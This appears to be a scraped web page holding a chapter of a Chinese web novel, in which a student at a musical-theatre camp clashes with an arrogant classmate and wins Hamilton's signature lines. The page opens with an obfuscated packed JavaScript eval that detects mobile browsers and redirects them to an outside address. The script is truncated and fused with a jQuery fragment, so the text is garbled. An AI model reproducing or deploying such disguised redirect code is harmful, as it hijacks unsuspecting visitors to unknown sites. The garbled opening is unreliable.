;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148971|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始做动作,得到马尔肖的连声称赞:“太对了,就是这个味道!其他人可以看着学学!” 除此之外,马尔肖还会选取一些难点动作,嘴里喊着“1234”,让大家不断重复,直到练熟为止。 比如单脚支撑转圈,对于芭蕾舞者来说也是有难度的动作,大部分人很快都摔倒在地。 而卡里亚和罗兰德,妈妈咪呀,那简直是八音盒上的小人成了精,要不是老师喊停,他俩还能一直转下去! 这么一通操练,大部分学生直接丢了半条命,豪华早餐的热量全都蒸发出去了。 等到了午饭时间,阿美利卡高中生们觉醒了华夏人的传统艺能,一群人嗷嗷叫着冲出去买饭,咖啡厅的店员看了,还以为丧尸入侵呢。 大组有几个学生跑得稍早一些,看到卡里亚端着餐盘找位置,上前把她拉走,大家坐在一张桌子上吃饭。 这些人都是今天被调到后面去的学生,有一个小个子男生还是杰克·道奇的室友,笑着打趣:“早听杰克说过,新泽西有个女孩厉害到没边了,能不能也教教我们?” 卡里亚不吝赐教,其他人也抢着发问,眼巴巴地指望大佬点拨。 正聊得起劲,隔壁桌子忽然传来椅子拖动的声响。 罗兰德一人占了一张圆桌,桌上的餐盒看上去是某家高档餐厅的特供外送。 小个子男生不好意思:“对不起啊bro,是不是声音太大吵到你了?” “没有。”罗兰德冷淡道,“但恐怕再这样下去,你们的飞沫要到我这里来了。我比较讲卫生,抱歉。” 吃了一半的牛油果沙拉被他扔在桌子上,就这么走了。 大家说话时都很注意礼貌,两张桌子之间也有距离,绝没有到罗兰德说的程度。 等他走了,小个子男生白了一眼:“他有病吧?” 同桌的女生本来因为他的外貌有点滤镜,现在只剩下气愤:“这么洁癖就别来集训啊,可别给大少爷染上绝症了!” “直接喊个服务团队来伺候他吃饭呗,和我们庶民坐在一间屋子里真是委屈他了!” “他的字典里是没有‘团队合作’几个字吗?” 卡里亚本想说“不用管他”,但大家越吐槽越上头,她反而没了插话的机会。 然而就在这时,背后传来一声冷冷的笑。 “原来在你们眼里,这种事情叫‘合作’吗?” 众人一愣,猛地回头。 罗兰德不知何时折了回来,拿着纸巾擦手,神情淡漠。 “我不合群,”他缓缓开口,声音却清晰得让每个人都听得见,“是因为我觉得,没有必要在远不如我的人身上浪费时间,这种人只会索取价值。” 罗兰德的眼神扫过他们,又落在卡里亚身上:“穆瑟尔,这句话我现在送给你。这是音乐剧比赛,不是比谁会做好人。” 话音落下,他连正眼都没再给众人,转身走远。 桌子上一片死寂。 几秒后,才有人憋不住小声嘀咕:“……他算个鸡毛啊?” 在事态升级前,卡里亚赶紧打住:“好啦好啦,林子大了什么鸟都有,把自己的事做好最要紧。待会儿吃完了我们早点回去,我把刚才说的几个动作示范一下。” 她不赞同罗兰德的话。帮其他人纠错,对她来说也是个很好的复习过程。 其他人不禁感慨:同样是top,top和top之间的差别怎么这么大呢! “卡里亚,还是你最好了!” “可惜你不是男生,不然以你的实力绝对可以把罗兰德按在地上猛锤!让他吃点苦头!”小个子男生说着攥起拳头,龇牙咧嘴地在空气里猛砸几下,让桌上的氛围缓和不少。 这是句气话,无人当真, 但没想到的是,这句话竟然以另一种方式应验了, 集训第二天的下午,所有站位和唱句正式敲定分配,不再做改动。 女生们期盼能在《斯凯勒姐妹》里得到一两句不错的歌词,而男生们都渴望被分到最有名的那段歌词—— “亚历山大·汉密尔顿 AlexanderHamilton 我的名字是亚历山大·汉密尔顿 MynameisAlexanderHamilton 世上有千万事情等待我完成, Andthere’samillionthingsIhaven’tdone 但请静候,拭目以待! Butjustyouwait,justyouwait…” 男主角汉密尔顿的这段词有多出名呢? 这么说吧,只要你走在纽约的大街上,喊出“AlexanderHamilton”,就会立马有人接下一句。 在万众瞩目下唱出这段名歌词,还是在百老汇的舞台上,光是想想就要幸福地晕厥过去! 大部分人是有自知之明的,这可是《汉密尔顿》放在海报上的招牌歌词,只会分给水平最好的那个人。 但并非如其他人所想,由罗兰德·劳伦斯接过重任。 得到它的竟然是一个女生。 卡里亚·穆瑟尔。